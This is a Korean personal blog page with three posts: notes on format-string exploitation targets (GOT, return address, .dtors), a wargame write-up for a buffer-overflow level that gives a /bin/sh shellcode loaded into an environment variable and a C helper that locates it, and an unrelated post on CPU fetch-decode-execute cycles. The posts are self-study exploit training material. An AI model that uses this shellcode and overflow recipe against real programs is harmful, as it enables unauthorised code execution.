Be myself :: Be myself (37 Page)

달력

112017  이전 다음

  •  
  •  
  •  
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  •  
  •  

FSB공격 정리

Exploit 2014.05.04 01:59

사실 포맷스트링 취약점이 존재하는 프로그램으로, 기본적으로 쓰기가 가능하고 프로그램 실행 흐름을 바꿀 수 잇는 주소라면 어디든지 공격 가능하다. 그 중, 셸을 획득하는 몇가지 기본적인 방법을 소개한다.

1. GOT(전역 오프셋 테이블)

프로그램은 실행될때 공유 라이브러리 항목이 같이 stack 에 올라가는데, 이 공유 라이브러리를 읽을때 테이블을 참조하게 된다. 이 테이블을 PTL(Procedure Linkage Table)이라 한다. 어떤 프로그램을 objdump로

이 섹션을 분석해보면 아래와 같다.




 

위에 보이는 0x8048308 주소에 보면 이 exit이 호출될때 0x8049784로 점프하는것을 볼 수 있다. 이 jump 명령을 조작해 셸코드를 실행 시키는 것 이다.

 

2. ret주소 덮기.

이는 버퍼 오버플로 공격에서도 많이 해왔던 공격이다. 이 ret주소값에 셸코드 주소를 올리면 되는데 보편적인 방법이 2가지 존재한다.

 

2-1. 환경변수

환경변수에 셸코드를 올리고 그 주소값을 계산한 후 ret에 덮는 공격이다.

2-2. 직접 셸코드 올리기

프로그램을 실행 시키고 그 관련된 변수에 셸코드를 올린 후 그 주소값을 ret에 덮는 방법이다.

이 방법은 NOP를 많이 넣을 수 없는 경우가 생기고 gdb에서 빠져나와 실제 실행 했을시 주소값이 바뀔경우 공격이 정확히 들어가지 않는다.. 역시 환경변수가 최고.

 

3. 소멸자 이용

GNU C 컴파일러를 이용해 컴파일된 프로그램에선 소멸자와 생성자를 위한 특수 테이블 섹션 .dtors 와 .ctors 를 생성한다. 소멸자는 (nm 파일이름)이나 (objdump -h 파일) 으로 주소값을 확인 가능하다.  소멸자는 쓰기가 가능하기 때문에 이 주소에 셸코드 주소를 입력하면 된다.

 

흠.. 이정도?

신고

'Exploit' 카테고리의 다른 글

C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
윈도우 BOF  (2) 2014.05.28
간단한 Shellcode 만들기  (0) 2014.05.05
FSB공격 정리  (0) 2014.05.04
Posted by flack3r

BOF원정대 level3

Wargame 2014.05.04 01:57

1. goblin의 소스코드를 파악한다. 

소스코드를 보면 gets함수로 배열크기 16의 변수에 값을 입력하는 단순한 코드로 되어있다. 

2. gdb로 스택 구조를 파악한다.

밑의 사진을 보면 스택에 16크기가 할당되는 것을 볼 수 있다. 따라서 우리는 배열 변수(16)+ SFP(4) + RET(4)=24만큼의 공격 스크립트를 입력하면 된다.

 

 

3. 환경변수에 셸코드를 올린다. 

export SHELLCODE = $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

 

4. 환경변수의 주소값을 출력하는 코드를 작성한다.

 

#include<stdlib.h>

int main(int argc,char* argv[])

{

char* a = getenv(argv[1]);

a+= (strlen(argv[0]) - strlen(argv[2]))*2;

printf("SHELLCODE position is %p \n",a);

return 0;

}

 

그 후  환경 변수의 주소값을 이용해 공격 스크립트를 작성한다.


 

끝..!

 

 

 

신고

'Wargame' 카테고리의 다른 글

Fc3 dark_eyes  (0) 2014.08.22
Suninatas all clear  (3) 2014.07.25
워게임 현황  (0) 2014.07.01
CodeEngn 베이직 올클  (0) 2014.05.14
워게임 사이트  (0) 2014.05.05
BOF원정대 level3  (0) 2014.05.04
Posted by flack3r

 

개요

앞서 폰 노이만의 구조에 대해 살펴 보았고, 이제 그러한 구조(Stored program concept) 속에서 프로그램이 어떻게 동작하는지 알아보겠다.

 


테스트 환경 (해당 될시에만)

 

 운영 체제 (OS) : Windows 7

 


 

상세 분석

 

 

 

필자의 그림이 마음에 안들더라도 참고 봐 주었으면 한다.(그림판으로 처음 그린다..) 위의 그림은 컴퓨터 내부 구조를 간략하게 표현한 것이다. 프로그램이 실행 되는 과정에 따라 살펴보자. 

1. 첫번째, fetch

메인 메모리에서 명령어가 순차적으로 I/O bus(address Bus, Data Bus, control Bus로 구성 되어 있다.) 에서 Data Bus를 통해 cpu의 bus interface에 전달된다. 사실 이 과정이 일어나기 전에 가상메모리 기법(페이징 기법)을 통해 프로세스 별로 4G의 메모리를 할당 받고, HDD에 있는 데이터(명령어)들을 가상메모리에 위치 시키는 과정 (windows 에서는 PE구조등의 원리를 통해, linux 에서는 elf[Executable and Linkable Format]를 통해) 이 이루어 진다. 이러한 과정은 다음에 설명 하도록 하자. 

 

2. 둘째, Decode

bus interface에 전달된 명령어는 먼저 레지스터(eip레지스터)에 전달되고, 이 명령어는control unit을 통해 어떤 명령어 인지 해석하는 과정이 일어난다.

 

3, 셋째, Excution

컨트롤 유닛을 통해 해석된 명령어를 실행되는 과정이다. 이 과정은 명령의 종류에 따라 다르다. 산술 처리 명령(사칙연산 등)은 레지스터를 통해 연산하는 과정을 거치고, 명령 흐름 변경 명령(jmp명령등. 이러한 상황은 함수가 리턴 되거나 조건 분기 문(if,while,for문 등)을 통해 일어난다.) 은 pc레지스터에 다음에 실행될 명령어를 넣는 작업을 하고, 데이터를 주고받는 명령의 경우 레지스터와 데이터를 주고 받거나 I/O bus를 통해 데이터를 메인 메모리와 주고 받는다. 

 

4. 클럭

정리하자면, 전체적인 프로그램의 실행 단계는 위의 3단계를 거친다. 하지만 부가적으로 위의 그림에서도 보이듯이, 모니터나 그래픽카드, 마우스, 키보드 등.. 여러가지 장치들이 IO bus에 연결되어 있는 것이 보인다. 이것이 뜻하는 바는 cpu가 메인메모리에서 프로그램의 실행 명령을 읽어 각 모니터에 화면의 픽셀 정보를 뿌려주고나 마우스의 동작을 읽어 변수에 저장하여 프로그램의 흐름을 바꾸거나 하는 등의 과정이 일어나는 것을 의미한다. 하지만 이러한 과정이 오류없이 잘 일어나게 하기 위해선 각 장치간 속도를 맞춰주어야 하는데, 이 때, '클럭'이라는 기법을 도입하게 된다. 

예를 들어

연산장치 -----> BUFFER -----> 출력장치 

이러한 과정이 일어난다고 해보자. 

이때, 연산장치의 속도가 출력장치의 속도보다 더 빠르다고 가정해보자.

그렇게 되면, 출력장치는 버퍼의 데이터를 받아 가져가게 되는데 속도가 연산장치보다 느리기 때문에 buffer가 넘치게 되고 buffer에 들어 오는 데이터는 중첩되어 데이터 손실이 일어나 문제가 발생한다.

출력장치의 속도가 연산장치보다 빠르다고 할 경우 출력장치는 버퍼의 내용을 다시한번 가져가 같은 내용을 두번 출력하는 문제가 발생한다. 이 문제를 해결하기 위해 , CPU는 클럭 신호에 맞추어 연산을 한다.(이러한 원리는 조합 논리회로의 특성을 이용한 것인데 이에 대해선 논리회로 관련 책이나 사이트를 참고하자.)

 

참고 URL 및 도서

뇌를 자극하는 윈도우즈 시스템 프로그래밍 -윤성우

- windows 구조와 원리 -정덕영 

- 뇌를 자극하는 프로그래밍 원리 -한세경

 

신고

'컴퓨터구조&OS > 컴퓨터구조' 카테고리의 다른 글

폰노이만 구조  (0) 2014.05.04
Posted by flack3r